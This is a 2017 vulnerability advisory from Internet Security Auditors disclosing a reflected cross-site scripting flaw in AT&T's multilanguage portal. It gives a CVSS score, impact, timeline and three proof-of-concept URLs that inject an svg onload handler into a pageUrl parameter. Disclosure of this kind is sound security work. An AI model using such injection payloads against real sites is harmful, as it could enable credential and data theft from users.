2017-015: XSS Reflected found in the AT&T Reward Center portal

Original release date: July 31, 2017
Last revised: July 31, 2017
Severity: 4.3 CVSSv2/(AV:N/AC:M/Au:N/C:P/I:N/A:N)

BACKGROUND

AT&T Inc. is an American multinational telecommunications conglomerate, headquartered at Whitacre Tower in downtown Dallas, Texas. AT&T is the world's largest telecommunications company. AT&T is the second largest provider of mobile telephone services and the largest provider of fixed telephone services in the United States, and also provides broadband subscription television services through DirecTV; combined with AT&T's legacy U-verse service, this also makes AT&T the largest pay television operator.

DESCRIPTION

These vulnerabilities allows the execution of arbitrary HTML/script code to be executed in the context of the victim user's browser.

PROOF OF CONCEPT 

http://vietnamese.att.com//english/modals/language-model-page.html?pageUrl=x" >=<svG+++onload="confirm(document.domain)"x="http://www.n.com&pageUrl=x
http://polish.att.com//english/modals/language-model-page.html?pageUrl=x" >=<svG+++onload="confirm(document.domain)"x="http://www.n.com&pageUrl=x
http://japanese.att.com//english/modals/language-model-page.html?pageUrl=x" >=<svG+++onload="confirm(document.domain)"x="http://www.n.com&pageUrl=x

BUSINESS IMPACT

An attacker can execute arbitrary HTML or script code in a targeted user's browser, this can leverage to steal sensitive information as user credentials, personal data, etc.

SYSTEMS AFFECTED

Multilanguage AT&T portal.

SOLUTION

-

REVISION HISTORY

July 31, 2017: Initial release

DISCLOSURE TIMELINE

  • July 31, 2017: Vulnerability acquired by Internet Security Auditors (www.isecauditors.com).
  • July 31, 2017: Contact with AT&T Security Team.

REFERENCES

Consult these external references for further information:

LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.

ABOUT

Internet Security Auditors is a Spain and Colombia based company leader in web application testing, network security, penetration testing, security compliance implementation and assessing. Our clients include some of the largest companies in areas such as finance, telecommunications, insurance, ITC, etc. We are vendor independent provider with a deep expertise since 2001. Our efforts in R&D include vulnerability research, open security project collaboration and whitepapers, presentations and security events participation and promotion. For further information regarding our security services, contact us.